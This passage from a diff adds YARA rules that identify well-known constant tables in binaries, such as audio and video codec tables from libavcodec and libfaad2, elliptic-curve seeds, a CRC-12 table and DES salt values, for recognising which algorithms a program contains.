261402a4315c0d381980251401a4305c0c381880241400a430600c3c1884241800a831600d3c1984251801a832600e3c1a84261802a832640e401a88261c02ac31640d401988251c01ac30640c401888241c00ac30680c44188c242000b031680d44198c252001b032680e441a8c262002b0364812241e6c2a000690374813241f6c2b00079038481424206c2c000890384c142820702c040894374c13281f702b040794364c12281e702a0406943650122c1e742a0806983750132c1f742b0807983850142c20742c0808983854143020782c0c089c375413301f782b0c079c365412301e782a0c069c365812341e7c2a1006a0375813341f7c2b1007a038581434207c2c1008a0385c143820802c1408a4375c13381f802b1407a4365c12381e802a1406a43660123c1e842a1806a83760133c1f842b1807a83860143c20842c1808a83864144020882c1c08ac376413401f882b1c07ac366412401e882a1c06ac366812441e8c2a2006b0376813441f8c2b2007b038681444208c2c2008b000481824246c30000c9001481924256c31000d9002481a24266c32000e90024c1a28267032040e94014c1928257031040d94004c1828247030040c940050182c247430080c980150192c257431080d9802501a2c267432080e9802541a302678320c0e9c015419302578310c0d9c005418302478300c0c9c00581834247c30100ca001581934257c31100da002581a34267c32100ea0025c1a38268032140ea4015c1938258031140da4005c1838248030140ca40060183c248430180ca80160193c258431180da802601a3c268432180ea802641a402688321c0eac016419402588311c0dac006418402488301c0cac00681844248c30200cb001681944258c31200db002681a44268c32200eb006481e242a6c3600129007481f242b6c37001390084820242c6c38001490084c20282c7038041494074c1f282b7037041394064c1e282a703604129406501e2c2a743608129807501f2c2b74370813980850202c2c7438081498085420302c78380c149c07541f302b78370c139c06541e302a78360c129c06581e342a7c361012a007581f342b7c371013a0085820342c7c381014a0085c20382c80381414a4075c1f382b80371413a4065c1e382a80361412a406601e3c2a84361812a807601f3c2b84371813a80860203c2c84381814a8086420402c88381c14ac07641f402b88371c13ac06641e402a88361c12ac06681e442a8c362012b007681f442b8c372013b0086820442c8c382014b00f482724336c03001b9010482824346c04001c9011482924356c05001d90114c2928357005041d94104c2828347004041c940f4c2728337003041b940f50272c337403081b981050282c347404081c981150292c357405081d98115429303578050c1d9c105428303478040c1c9c0f5427303378030c1b9c0f582734337c03101ba010582834347c04101ca011582934357c05101da0115c2938358005141da4105c2838348004141ca40f5c2738338003141ba40f60273c338403181ba81060283c348404181ca81160293c358405181da8116429403588051c1dac106428403488041c1cac0f6427403388031c1bac0f682744338c03201bb010682844348c04201cb011682944358c05201db015482d24396c0900219016482e243a6c0a00229017482f243b6c0b002390174c2f283b700b042394164c2e283a700a042294154c2d2839700904219415502d2c39740908219816502e2c3a740a08229817502f2c3b740b08239817542f303b780b0c239c16542e303a780a0c229c15542d303978090c219c15582d34397c091021a016582e343a7c0a1022a017582f343b7c0b1023a0175c2f383b800b1423a4165c2e383a800a1422a4155c2d383980091421a415602d3c3984091821a816602e3c3a840a1822a817602f3c3b840b1823a817642f403b880b1c23ac16642e403a880a1c22ac15642d403988091c21ac15682d44398c092021b016682e443a8c0a2022b017682f443b8c0b2023b01b483324036c0f0027901c483424046c100028901d483524056c110029901d4c35280570110429941c4c34280470100428941b4c332803700f0427941b50332c03740f0827981c50342c0474100828981d50352c0574110829981d5435300578110c299c1c5434300478100c289c1b54333003780f0c279c1b583334037c0f1027a01c583434047c101028a01d583534057c111029a01d5c35380580111429a41c5c34380480101428a41b5c333803800f1427a41b60333c03840f1827a81c60343c0484101828a81d60353c0584111829a81d6435400588111c29ac1c6434400488101c28ac1b64334003880f1c27ac1b683344038c0f2027b01c683444048c102028b01d683544058c112029b021483924096c15002d9022483a240a6c16002e9023483b240b6c17002f90234c3b280b7017042f94224c3a280a7016042e94214c3928097015042d942150392c097415082d9822503a2c0a7416082e9823503b2c0b7417082f9823543b300b78170c2f9c22543a300a78160c2e9c215439300978150c2d9c21583934097c15102da022583a340a7c16102ea023583b340b7c17102fa0235c3b380b8017142fa4225c3a380a8016142ea4215c3938098015142da42160393c098415182da822603a3c0a8416182ea823603b3c0b8417182fa823643b400b88171c2fac22643a400a88161c2eac216439400988151c2dac21683944098c15202db022683a440a8c16202eb023683b440b8c17202fb0274803240f6c1b00339028480424106c1c00349029480524116c1d003590294c052811701d043594284c042810701c043494274c03280f701b0433942750032c0f741b0833982850042c10741c0834982950052c11741d0835982954053011781d0c359c2854043010781c0c349c275403300f781b0c339c275803340f7c1b1033a028580434107c1c1034a029580534117c1d1035a0295c053811801d1435a4285c043810801c1434a4275c03380f801b1433a42760033c0f841b1833a82860043c10841c1834a82960053c11841d1835a82964054011881d1c35ac2864044010881c1c34ac276403400f881b1c33ac276803440f8c1b2033b028680444108c1c2034b029680544118c1d2035b02d480924156c210039902e480a24166c22003a902f480b24176c23003b902f4c0b28177023043b942e4c0a28167022043a942d4c09281570210439942d50092c1574210839982e500a2c167422083a982f500b2c177423083b982f540b301778230c3b9c2e540a301678220c3a9c2d5409301578210c399c2d580934157c211039a02e580a34167c22103aa02f580b34177c23103ba02f5c0b38178023143ba42e5c0a38168022143aa42d5c09381580211439a42d60093c1584211839a82e600a3c168422183aa82f600b3c178423183ba82f640b401788231c3bac2e640a401688221c3aac2d6409401588211c39ac2d680944158c212039b02e680a44168c22203ab02f680b44178c23203bb033480f241b6c27000390344810241c6c28000490354811241d6c29000590354c11281d7029040594344c10281c7028040494334c0f281b702704039433500f2c1b74270803983450102c1c74280804983550112c1d7429080598355411301d78290c059c345410301c78280c049c33540f301b78270c039c33580f341b7c271003a0345810341c7c281004a0355811341d7c291005a0355c11381d80291405a4345c10381c80281404a4335c0f381b80271403a433600f3c1b84271803a83460103c1c84281804a83560113c1d84291805a8356411401d88291c05ac346410401c88281c04ac33640f401b88271c03ac33680f441b8c272003b0346810441c8c282004b0356811441d8c292005b039481524216c2d0009903a481624226c2e000a903b481724236c2f000b903b4c172823702f040b943a4c162822702e040a94394c152821702d0409943950152c21742d0809983a50162c22742e080a983b50172c23742f080b983b54173023782f0c0b9c3a54163022782e0c0a9c3954153021782d0c099c39581534217c2d1009a03a581634227c2e100aa03b581734237c2f100ba03b5c173823802f140ba43a5c163822802e140aa4395c153821802d1409a43960153c21842d1809a83a60163c22842e180aa83b60173c23842f180ba83b64174023882f1c0bac3a64164022882e1c0aac3964154021882d1c09ac39681544218c2d2009b03a681644228c2e200ab03b681744238c2f200bb003481b24276c33000f9004481c24286c3400109005481d24296c35001190054c1d28297035041194044c1c28287034041094034c1b28277033040f9403501b2c277433080f9804501c2c28743408109805501d2c29743508119805541d302978350c119c04541c302878340c109c03541b302778330c0f9c03581b34277c33100fa004581c34287c341010a005581d34297c351011a0055c1d382980351411a4045c1c382880341410a4035c1b38278033140fa403601b3c278433180fa804601c3c2884341810a805601d3c2984351811a805641d402988351c11ac04641c402888341c10ac03641b402788331c0fac03681b44278c33200fb004681c44288c342010b005681d44298c352011b0094821242d6c390015900a4822242e6c3a0016900b4823242f6c3b0017900b4c23282f703b0417940a4c22282e703a041694094c21282d70390415940950212c2d74390815980a50222c2e743a0816980b50232c2f743b0817980b5423302f783b0c179c0a5422302e783a0c169c095421302d78390c159c095821342d7c391015a00a5822342e7c3a1016a00b5823342f7c3b1017a00b5c23382f803b1417a40a5c22382e803a1416a4095c21382d80391415a40960213c2d84391815a80a60223c2e843a1816a80b60233c2f843b1817a80b6423402f883b1c17ac0a6422402e883a1c16ac096421402d88391c15ac096821442d8c392015b00a6822442e8c3a2016b00b6823442f8c3b2017b0 }
+
+condition:
+	$a0
+}
+
+	
+rule Dolby_window_dolby_win_256__flt64___64_big_2048_
+{
+strings:
+	$a0 = { 3f432c5e19eeeef03f4f986be9ec89e63f5636b972e990173f5d1e0dd34706ec3f624faa85f981d83f66661880f95ec03f6ad8ff1843420f3f6fae1b165496be3f72755970e034933f7549e77b71dc503f78572b0a36bc5e3f7b9f8e0baadb383f7f2575058dbebb3f8175a0a0d379e63f8379a8f42abec93f85a0023ac5dd6d3f87e9da62de01913f8a585e6f7f708c3f8cecba465174183f8fa8186d9553cd3f9145d0df7670ca3f92cc3e88fc048a3f9467e77072e8873f96195c743c34c13f97e12ce24a5b913f99bfe645184e543f9bb6142fa216f13f9dc44008a0ba783f9feaf0d53fd1173fa1155581bd984c3fa241f81a269ee23fa37b9f82e921673fa4c2896ec10c303fa616f1d94f91593fa77912ec7bf5803fa8e924e60ba5893faa675dfd7f0abb3fabf3f24a4028213fad8f13aa2fb3f23faf38f1a89d118b3fb078dcb2daa8203fb15ccabf3a885c3fb24856fa947cd53fb33b940d4414963fb436933bb9e9ff3fb539645bb3849d3fb64415c9d0a8c23fb756b45f8b502b3fb8714b699764fc3fb993e49eaf349f3fbabe8816d16a413fbbf13c42f53a6f3fbd2c05e5393e693fbe6ee8099154453fbfb9e3fef7aa613fc0867ca89277993fc13412e169b5e93fc1e5b2a4484f473fc29b5902105a973fc35502203b88483fc412a9372361cc3fc4d4489096e2c43fc599d986beaa643fc663548350e57b3fc730b0ff15f2503fc801e581bea0603fc8d6e7a20ccd5c3fc9afac064f00a93fca8c26652f85303fcb6c4986d75f8b3fcc500746655d483fcd375093b957073fce221575939d3b3fcf10450c0864533fd000e6c9a371253fd07b4e3359d6703fd0f74f022ae2203fd174df084ac9dd3fd1f3f3ad26873e3fd27481ef93f6283fd2f67e682973973fd379dd4bbc5c913fd3fe926e05bbaa3fd48491446c62f43fd50bcce8f39fb83fd594381d4da5153fd61dc54e10ba733fd6a866960e2b643fd7340dc1c9e6e73fd7c0ac5311ad363fd84e3384b29caa3fd8dc944e4be0263fd96bbf683d337e3fd9fba54fafe5883fda8c364ab8f23b3fdb1d626c92c3643fdbaf1999ed1a9e3fdc414b8d519bec3fdcd3e7db9b660c3fdd66ddf8801b613fddfa1d3b28b5023fde8d94e2d870d03fdf21341ba0233e3fdfb4ea031c2e313fe02452d69dabc33fe06e2b148659d93fe0b7f542c969e43fe101a8eb4d30b13fe14b3d9cc9278a3fe194aaed31e07d3fe1dde87c23e7353fe226edf54c9e1c3fe26fb312d027163fe2b82f9fab66f43fe3005b7a1133403fe3482e95c1ba7f3fe38fa0fe5b38583fe3d6aad9a308543fe41d4469c62bf83fe463660f905b1c3fe4a9084c98b81b3fe4ee23c56344733fe532b1437635e83fe576a9b7624ff63fe5ba063abd699c3fe5fcc0120e4c123fe63ed0aea91bfc3fe68031b07b83ce3fe6c0dce7c7dc043fe700cc56ce93a03fe73ffa336521e13fe77e60e879d0e43fe7bbfb1783b7ff3fe7f8c399de43fc3fe834b5820fb3443fe86fcc1cf9f41c3fe8aa02f2f55b743fe8e355c8d4b39c3fe91bc0a0d22b573fe9533fbb64b6e33fe989cf97fd7e8e3fe9bf6cf5ad00223fe9f414d3af92c93fea27c471e1079a3fea5a7951172ba83fea8c313362fb883feabcea1c38637f3feaeca2507c73143feb1b585679f6553feb490af5bc733e3feb75b936d195a03feba16262f1203f3febcc06038b865d3febf5a3e1bf5d663fec1e3c05b5e33f3fec45ceb5e6e27c3fec6c5c76444ab53fec91e6074de0193fecb66c650d72813fecd9f0c5fc191f3fecfc7499d0fd0e3fed1df9883a49dc3fed3e816f80e8313fed5e0e6317b3523fed7ca2aa16e7033fed9a40bda48fb03fedb6eb474ad2fe3fedd2a51f3cf2e73feded714a8bf9213fee0752f94c03ee3fee204d84ab384e3fee38646cfb68053fee4f9b57af83ef3fee65f60d4dfc6f3fee7b7877593a9e3fee90269e2f650d3feea404a6e2aa663feeb716d10b52c23feec9617494de933feedae8ff877ef13feeebb1f3cf370a3feefbc0e501f9c93fef0b1a7626189e3fef19c3577a59893fef27c044410a3d3fef3516008f651b3fef41c957229a3e3fef4ddf173bcb3a3fef595c128443563fef64451afb2fe03fef6e9f00ee14e53fef786e90fd32063fef81b8922d01303fef8a81c405ede83fef92cedcc3579b3fef9aa48792e3c03fefa20762e516253fefa8fbfed015d73fefaf86db85746e3fefb5ac67dbbbb63fefbb70ffec731c3fefc0d8ebc73ada3fefc5e85e3a86953fefcaa373b26c883fefcf0e312de8ea3fefd32c834adfab3fefd7023d6910833fefda9318e41b643fefdde2b4649d003fefe0f4934855113fefe3cc1d21323d3fefe66c9d4b09ce3fefe8d94297ac6b3fefeb151f10f4883fefed2327d057673fefef0634eb6e9c3feff0c10174ddef3feff2562b90e8673feff3c8349cf7893feff519816948de3feff64c5a83e8b83feff762ec9414d03feff85f48c516e43feff943653f9e143feffa111db0961d3feffaca33dc752a3feffb70503df4563feffc0502af239b3feffc89c31bc8333feffcfff23bf4193feffd68da55c6913feffdc5b00547f93feffe17930957243feffe5f8f14a3983feffe9e9ca1b6343feffed5a1c911793fefff0573187ae43fefff2ed46a88793fefff5279bd97b73fefff7108095e5e3fefff8b1612512e3fefffa12d3a28fa3fefffb3ca4cdb513fefffc35e49691b3fefffd04f25f2e23fefffdaf88e903d3fefffe3ac9e75383fefffeab492fe293feffff05178475e3feffff4bccf030e3feffff8292b53613feffffac2cc7c183feffffcb02d2b053feffffe128c5ea03fefffff066ec3743fefffffa4189567 }
+
+condition:
+	$a0
+}
+
+	
+rule Pkep_prime512__8_byt_64_
+{
+strings:
+	$a0 = { f52aff3ce1b1294018118d7c84a70a72d686c40319c807297aca950cd9969fabd00a509b0246d3083d66a45d419f9c7cbd894b221926baaba25ec355e92a055f }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_cfft_tab_128__flt64___64_lil_2048_
+{
+strings:
+	$a0 = { 000000000000f03f0000000000000000ffffffdf21f6ef3fd5ffffff651fa93f040000a08dd8ef3f0f0000c0a617b93ffdffff7f55a7ef3ff2ffff5f10c8c23ffdffffbf9762ef3f0a000040b8f8c83f020000007f0aef3ffcffff9ff919cf3f04000060419fee3f000000200694d23f030000002121ee3ffdffff7f9a8fd53ffdffffbf6b90ed3ffbffffbfe27dd83f000000007bedec3f07000000105ddb3f040000e0b238ec3ffcffff3f5d2bde3fffffff3f8372eb3ffdffff9f8773e03ffcffff1f669bea3f040000403bc7e13f00000040e0b3e93ffdfffffff70fe33ffdffff5f80bce83f01000040f34ce43fffffff1fdfb5e73f01000040697de53ffcffff5f9ea0e63ffcffff5f9ea0e63fffffff1f697de53f01000040dfb5e73fffffff1ff34ce43ffdffff5f80bce83ffdfffffff70fe33f00000040e0b3e93f020000203bc7e13ffeffff3f669bea3f040000808773e03f010000608372eb3fffffffdf5c2bde3ffdffffffb238ec3f00000020105ddb3f000000007bedec3f020000a0e27dd83ffdffffbf6b90ed3f040000609a8fd53f030000002121ee3f070000000694d23f04000060419fee3ffbfffffff819cf3f020000007f0aef3f10000080b7f8c83fffffffdf9762ef3f080000a010c8c23ffdffff7f55a7ef3ff2ffff9fa617b93f040000a08dd8ef3fe2ffff1f651fa93fffffffdf21f6ef3fcdd36abda57767be000000000000f03fcbffff1f681fa9bfffffffdf21f6ef3fe6ffff1fa817b9bf040000a08dd8ef3f0900004011c8c2bffdffff7f55a7ef3f0a000040b8f8c8bffdffffbf9762ef3ffcffff9ff919cfbf020000007f0aef3f040000600694d2bf02000040419fee3f010000c09a8fd5bf030000002121ee3fffffffffe27dd8bffdffffbf6b90ed3f07000000105ddbbf000000007bedec3ff9ffff9f5d2bdebf040000e0b238ec3ffdffff9f8773e0bfffffff3f8372eb3fffffff7f3bc7e1bf03000000669bea3fffffff1ff80fe3bf00000040e0b3e93fffffff1ff34ce4bfffffff7f80bce83f03000060697de5bffdffffffdeb5e73ffcffff5f9ea0e6bffcffff5f9ea0e63f03000060dfb5e7bffdffffff687de53fffffff7f80bce8bfffffff1ff34ce43f04000080e0b3e9bf000000a0f70fe33ffeffff3f669beabf020000203bc7e13fffffff3f8372ebbffdffff9f8773e03fffffff1fb338ecbf060000c05c2bde3f000000007bedecbffcffffdf0f5ddb3f010000006c90edbf01000000e27dd83ffcffff1f2121eebff9ffff3f9a8fd53f04000060419feebf040000600694d23f020000007f0aefbf100000a0f819cf3fffffffdf9762efbf11000020b8f8c83ffdffff7f55a7efbf0d0000400fc8c23f040000a08dd8efbff1ffffffa517b93fffffffdf21f6efbff5ffff9f5f1fa93f000000000000f03f0000000000000000040000a08dd8ef3f0f0000c0a617b93ffdffffbf9762ef3f0a000040b8f8c83f04000060419fee3f000000200694d23ffdffffbf6b90ed3ffbffffbfe27dd83f040000e0b238ec3ffcffff3f5d2bde3ffcffff1f669bea3f040000403bc7e13ffdffff5f80bce83f01000040f34ce43ffcffff5f9ea0e63ffcffff5f9ea0e63fffffff1ff34ce43ffdffff5f80bce83f020000203bc7e13ffeffff3f669bea3fffffffdf5c2bde3ffdffffffb238ec3f020000a0e27dd83ffdffffbf6b90ed3f070000000694d23f04000060419fee3f10000080b7f8c83fffffffdf9762ef3ff2ffff9fa617b93f040000a08dd8ef3f000000000000f03f0000000000000000fdffffbf9762ef3f0a000040b8f8c83ffdffffbf6b90ed3ffbffffbfe27dd83ffcffff1f669bea3f040000403bc7e13ffcffff5f9ea0e63ffcffff5f9ea0e63f020000203bc7e13ffeffff3f669bea3f020000a0e27dd83ffdffffbf6b90ed3f10000080b7f8c83fffffffdf9762ef3fcdd36abda57767be000000000000f03f0a000040b8f8c8bffdffffbf9762ef3fffffffffe27dd8bffdffffbf6b90ed3fffffff7f3bc7e1bf03000000669bea3ffcffff5f9ea0e6bffcffff5f9ea0e63ffeffff3f669beabf020000203bc7e13f010000006c90edbf01000000e27dd83fffffffdf9762efbf11000020b8f8c83f000000000000f03f000000000000000004000060419fee3f000000200694d23ffcffff1f669bea3f040000403bc7e13fffffff1ff34ce43ffdffff5f80bce83f020000a0e27dd83ffdffffbf6b90ed3ff2ffff9fa617b93f040000a08dd8ef3f0a000040b8f8c8bffdffffbf9762ef3ff9ffff9f5d2bdebf040000e0b238ec3ffcffff5f9ea0e6bffcffff5f9ea0e63f040000e0b238ecbff9ffff9f5d2bde3fffffffdf9762efbf11000020b8f8c83f040000a08dd8efbf040000e0a817b9bffdffffbf6b90edbf020000a0e27dd8bf010000a080bce8bffdfffffff24ce4bffcffffbf3ac7e1bf02000080669beabff8ffff9f0594d2bf04000060419feebf000000000000f03f0000000000000000fdffffbf6b90ed3ffbffffbfe27dd83ffcffff5f9ea0e63ffcffff5f9ea0e63f020000a0e27dd83ffdffffbf6b90ed3f000000000000f03f0000000000000000fcffff5f9ea0e63ffcffff5f9ea0e63fcdd36abda57767be000000000000f03ffcffff5f9ea0e6bffcffff5f9ea0e63f000000000000f03f0000000000000000020000a0e27dd83ffdffffbf6b90ed3ffcffff5f9ea0e6bffcffff5f9ea0e63ffdffffbf6b90edbf020000a0e27dd8bf000000000000f03f0000000000000000000000000000f03f0000000000000000000000000000f03f0000000000000000873806cdc59b493e000000000000f0bf }
+
+condition:
+	$a0
+}
+
+	
+rule EC_curve__EC_SECG_CHAR2_113R1_SEED__8_byt_20_
+{
+strings:
+	$a0 = { 10e723ab14d696e6768756151756febf8fcb49a9 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_drc_pow2_table__flt64___64_big_376_
+{
+strings:
+	$a0 = { 3fe078059f3e58b23fe0f38f92dc45793fe172b83c78d5743fe1f59ac3ce11143fe27c531c019f5a3fe306fe0a3187373fe395b92b174b6f3fe428a2f986ed843fe4bfdad532a8c83fe55b8108f2fb873fe5fbb6d1dcd8be3fe6a09e6681151e3fe74a5afde71be43fe7f910d7638ab13fe8ace5422a15293fe965fea53f9dad3fea248487bec4af3feae89f996130343febb279badf98093fec823e074935d93fed5818dcfb002c3fee3437e712975e3fef16ca274f260d3ff00000000000003ff078059f3e58b23ff0f38f92dc45793ff172b83c7fb4ac3ff1f59ac3c731dc3ff27c531c087e923ff306fe0a3187373ff395b92b106c373ff428a2f98dccbc3ff4bfdad53988003ff55b8108f2fb873ff5fbb6d1e3b7f63ff6a09e6681151e3ff74a5afde71be43ff7f910d76a69e93ff8ace5422a15293ff965fea53f9dad3ffa248487bec4af3ffae89f995a50fc3ffbb279badf98093ffc823e075015113ffd5818dcfb002c3ffe3437e712975e3fff16ca274846d5 }
+
+condition:
+	$a0
+}
+
+	
+rule Fcrypt_DES_con_salt__8_byt_128_
+{
+strings:
+	$a0 = { d2d3d4d5d6d7d8d9dadbdcdddedfe0e1e2e3e4e5e6e7e8e9eaebecedeeeff0f1f2f3f4f5f6f7f8f9fafbfcfdfeff000102030405060708090a0b05060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425202122232425262728292a2b2c2d2e2f303132333435363738393a3b3c3d3e3f4041424344 }
+
+condition:
+	$a0
+}
+
+	
+rule mp3lib_intwinbase__32_lil_1028_
+{
+strings:
+	$a0 = { 00000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFDFFFFFFFDFFFFFFFCFFFFFFFCFFFFFFFBFFFFFFFBFFFFFFFAFFFFFFF9FFFFFFF9FFFFFFF8FFFFFFF7FFFFFFF6FFFFFFF5FFFFFFF3FFFFFFF2FFFFFFF0FFFFFFEFFFFFFFEDFFFFFFEBFFFFFFE8FFFFFFE6FFFFFFE3FFFFFFE1FFFFFFDDFFFFFFDAFFFFFFD7FFFFFFD3FFFFFFCFFFFFFFCBFFFFFFC6FFFFFFC1FFFFFFBCFFFFFFB7FFFFFFB1FFFFFFABFFFFFFA5FFFFFF9FFFFFFF98FFFFFF91FFFFFF8BFFFFFF83FFFFFF7CFFFFFF75FFFFFF6DFFFFFF66FFFFFF5FFFFFFF57FFFFFF50FFFFFF49FFFFFF42FFFFFF3CFFFFFF36FFFFFF30FFFFFF2BFFFFFF26FFFFFF22FFFFFF1FFFFFFF1DFFFFFF1CFFFFFF1CFFFFFF1DFFFFFF20FFFFFF23FFFFFF29FFFFFF30FFFFFF38FFFFFF43FFFFFF4FFFFFFF5DFFFFFF6EFFFFFF81FFFFFF96FFFFFFADFFFFFFC7FFFFFFE3FFFFFF0200000024000000480000006F00000099000000C5000000F4000000260100005B01000091010000CB010000070200004502000085020000C70200000B0300005003000097030000DF0300002804000071040000BA040000030500004C05000094050000DA0500001F06000062060000A2060000DF060000190700004E0700007F070000AA070000D1070000F0070000090800001B0800002508000027080000200800000F080000F5070000D0070000A0070000650700001E070000CB0600006C060000FF05000086050000000500006B040000CA0300001A0300005D02000092010000B9000000D3FFFFFFE0FEFFFFDFFDFFFFD2FCFFFFB9FBFFFF94FAFFFF64F9FFFF2AF8FFFFE6F6FFFF99F5FFFF44F4FFFFE9F2FFFF87F1FFFF21F0FFFFB7EEFFFF4CEDFFFFDFEBFFFF73EAFFFF09E9FFFFA3E7FFFF43E6FFFFE9E4FFFF99E3FFFF53E2FFFF1AE1FFFFEFDFFFFFD5DEFFFFCDDDFFFFDADCFFFFFDDBFFFF38DBFFFF8FDAFFFF01DAFFFF92D9FFFF44D9FFFF19D9FFFF12D9FFFF31D9FFFF79D9FFFFEAD9FFFF88DAFFFF53DBFFFF4DDCFFFF78DDFFFFD4DEFFFF64E0FFFF28E2FFFF22E4FFFF52E6FFFFB9E8FFFF58EBFFFF2FEEFFFF40F1FFFF89F4FFFF0BF8FFFFC6FBFFFFBAFFFFFFE60300004A080000E40C0000B5110000BA160000F21B00005C210000F7260000BF2C0000B4320000D43800001B3F000087450000164C0000C5520000915900007660000072670000816E0000A0750000CB7C0000FF830000388B000071920000A8990000D8A00000FEA7000015AF000019B6000006BD0000D9C300008DCA00001ED100008AD70000CADD0000DDE30000BEE9000069EF0000DCF4000013FA00000AFF0000BE0301002D080100540C01002F100100BE130100FC160100E9190100831C0100C71E0100B4200100492201008623010068240100F02401001E250100 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_intrax8_zero_prediction_weights__16_lil_256_
+{
+strings:
+	$a0 = { 800280029d02e001c4026201ec0201011803c600f8028f002803650004034800e0019d02190219025602a00195023c01cf02fa00c302b90000038600e90261006201c402a0015602e801e801340284017a023d018202f100cc02b300c20284000101ec023c01950284013402d501d5011f028b013b0237018f02ee009402b400c6001803fa00cf023d017a028b011f02d501d501fb017c0155022b016802e700a1005703ce0014030a01c60254016f029b012402c701c70124026e01400220017a00cc039f009203d3004a031401f6025501aa0285014802e301e301080286016e00940490005304c1000404fe00a4033d014e036e01db02ca016302f301f301 }
+
+condition:
+	$a0
+}
+
+	
+rule GSM_table_gsm_NRFAC__16_lil_16_
+{
+strings:
+	$a0 = { c8716766185d5655c54e254944440040 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_imc_quantizer2__flt32___32_lil_448_
+{
+strings:
+	$a0 = { e2930e3e077bb33e5071183fcd935b3fc98e8f3f75b1b13fa912d93f182208409be8933d0a9f3d3eaf26973e1d3cd33e666a0a3f70422d3f33dd4f3f5299723fe7fb893f81099a3f802bab3ff3adbd3feeead13f414ae83f2c7d04408aca1c4040bd193de95fd23d240f243e603a5d3e016d8b3e0d17a93eb4cbc73ed3dbe73e4e98043fe5d5153fa969273feb1e393f45a04a3f87e15b3fa69a6d3f753f7f3fa1f4873ff914903f7b4c983f9bc8a03f3388a93fc3a0b23f1d05bc3f50c5c53f4430d03f3813db3f0abfe63f6b82f43fe46a03400a4b0e4081e91e408b365040daaae43df67cb53e266f243ff816763f4cc4a53f1613cf3f0bb3fe3f5fb52040e76d6c3dc3f42d3e965d983e9b8ee03e6424173f45d53f3f64916a3f8c2c8b3fd3a1a13ff8e3b63fc152cd3fad34e53ff20a00406d530f40a88e29400dd5a8408d7bf33c41d3b23d3aeb133e2026513e809f893e49a1ac3ead4fd13ef354f73e897c0f3fe0b9233f266f383f4be54d3f86ab633f3eb2793fb9fe873f6155933f0ec09e3fccd1a93f3acdb43f7310c03f6ebecb3f62dcd73fb682e43fec13f23f09540040ed2b0840a8561140ef731e403b342e40ec86464075f595402852c740 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ff_nelly_init_table__16_lil_128_
+{
+strings:
+	$a0 = { 3e0cde14d61a701e7921e1231026cf278729352baa2cfa2d542fe1307d32f4336a35cb3610387c390d3b753cd03d1d3f8140a441c242f9430f451c463e4758484c49864ab54bb84cd14ded4e14504d51aa52d95322557956b557e4581b5a365b545c765da35ec95ff360136246638264086681670f69d06ae56c2f6ff2727b7a }
+
+condition:
+	$a0
+}
+
+	
+rule EC_curve__EC_X9_62_PRIME_192V2_SEED__8_byt_20_
+{
+strings:
+	$a0 = { 31a92ee2029fd10d901b113e990710f0d21ac6b6 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_12_poly_0xf01__16_big_refl_False_
+{
+strings:
+	$a0 = { 00000f011e0211033c04330522062d0778087709660a690b440c4b0d5a0e550ff010ff11ee12e113cc14c315d216dd1788188719961a991bb41cbb1daa1ea51fef21e020f123fe22d325dc24cd27c22697299828892b862aab2da42cb52fba2e1f31103001330e3223352c343d37323667396838793b763a5b3d543c453f4a3ed143de42cf41c040ed47e246f345fc44a94ba64ab749b848954f9a4e8b4d844c21532e523f5130501d57125603550c54595b565a47594858655f6a5e7b5d745c3e62316320602f6102660d671c641365466a496b586857697a6e756f646c6b6dce72c173d070df71f276fd77ec74e375b67ab97ba878a7798a7e857f947c9b7dad87a286b385bc8491839e828f818080d58fda8ecb8dc48ce98be68af789f8885d97529643954c9461936e927f917090259f2a9e3b9d349c199b169a0799089842a64da75ca453a57ea271a360a06fa13aae35af24ac2bad06aa09ab18a817a9b2b6bdb7acb4a3b58eb281b390b09fb1cabec5bfd4bcdbbdf6baf9bbe8b8e7b97cc473c562c66dc740c04fc15ec251c304cc0bcd1ace15cf38c837c926ca29cb8cd483d592d69dd7b0d0bfd1aed2a1d3f4dcfbddeadee5dfc8d8c7d9d6dad9db93e59ce48de782e6afe1a0e0b1e3bee2ebede4ecf5effaeed7e9d8e8c9ebc6ea63f56cf47df772f65ff150f041f34ef21bfd14fc05ff0afe27f928f839fb36fa }
+
+condition:
+	$a0
+}
+
+	
+rule AC3_starting_frequency_coeeficients_bndtab__avcodec___liba52___32_lil_120_
+{
+strings:
+	$a0 = { 15000000160000001700000018000000190000001a0000001b0000001c0000001f0000002200000025000000280000002b0000002e00000031000000370000003d00000043000000490000004f00000055000000610000006d00000079000000850000009d000000b5000000cd000000e5000000fd000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_h264_quant_coeff__32_lil_3328_
+{
+strings:
+	$a0 = { 666606003ff00300666606003ff003003ff003005c8f02003ff003005c8f0200666606003ff00300666606003ff003003ff003005c8f02003ff003005c8f020074d105003ba8030074d105003ba803003ba803008b4602003ba803008b46020074d105003ba8030074d105003ba803003ba803008b4602003ba803008b4602004fec0400333303004fec040033330300333303004a0c0200333303004a0c02004fec0400333303004fec040033330300333303004a0c0200333303004a0c0200499204002ed80200499204002ed802002ed80200e7c701002ed80200e7c70100499204002ed80200499204002ed802002ed80200e7c701002ed80200e7c70100000004005c8f0200000004005c8f02005c8f02006ea301005c8f02006ea30100000004005c8f0200000004005c8f02005c8f02006ea301005c8f02006ea30100398e0300e1390200398e0300e1390200e139020094690100e139020094690100398e0300e1390200398e0300e1390200e139020094690100e1390200946901003333030020f801003333030020f8010020f80100ae47010020f80100ae4701003333030020f801003333030020f8010020f80100ae47010020f80100ae470100bae802001dd40100bae802001dd401001dd40100452301001dd4010045230100bae802001dd40100bae802001dd401001dd40100452301001dd4010045230100277602009a990100277602009a9901009a990100250601009a99010025060100277602009a990100277602009a9901009a990100250601009a9901002506010025490200176c010025490200176c0100176c0100f4e30000176c0100f4e3000025490200176c010025490200176c0100176c0100f4e30000176c0100f4e3000000000200ae47010000000200ae470100ae470100b7d10000ae470100b7d1000000000200ae47010000000200ae470100ae470100b7d10000ae470100b7d100001cc70100f01c01001cc70100f01c0100f01c0100cab40000f01c0100cab400001cc70100f01c01001cc70100f01c0100f01c0100cab40000f01c0100cab400009a99010010fc00009a99010010fc000010fc0000d7a3000010fc0000d7a300009a99010010fc00009a99010010fc000010fc0000d7a3000010fc0000d7a300005d7401000fea00005d7401000fea00000fea0000a39100000fea0000a3910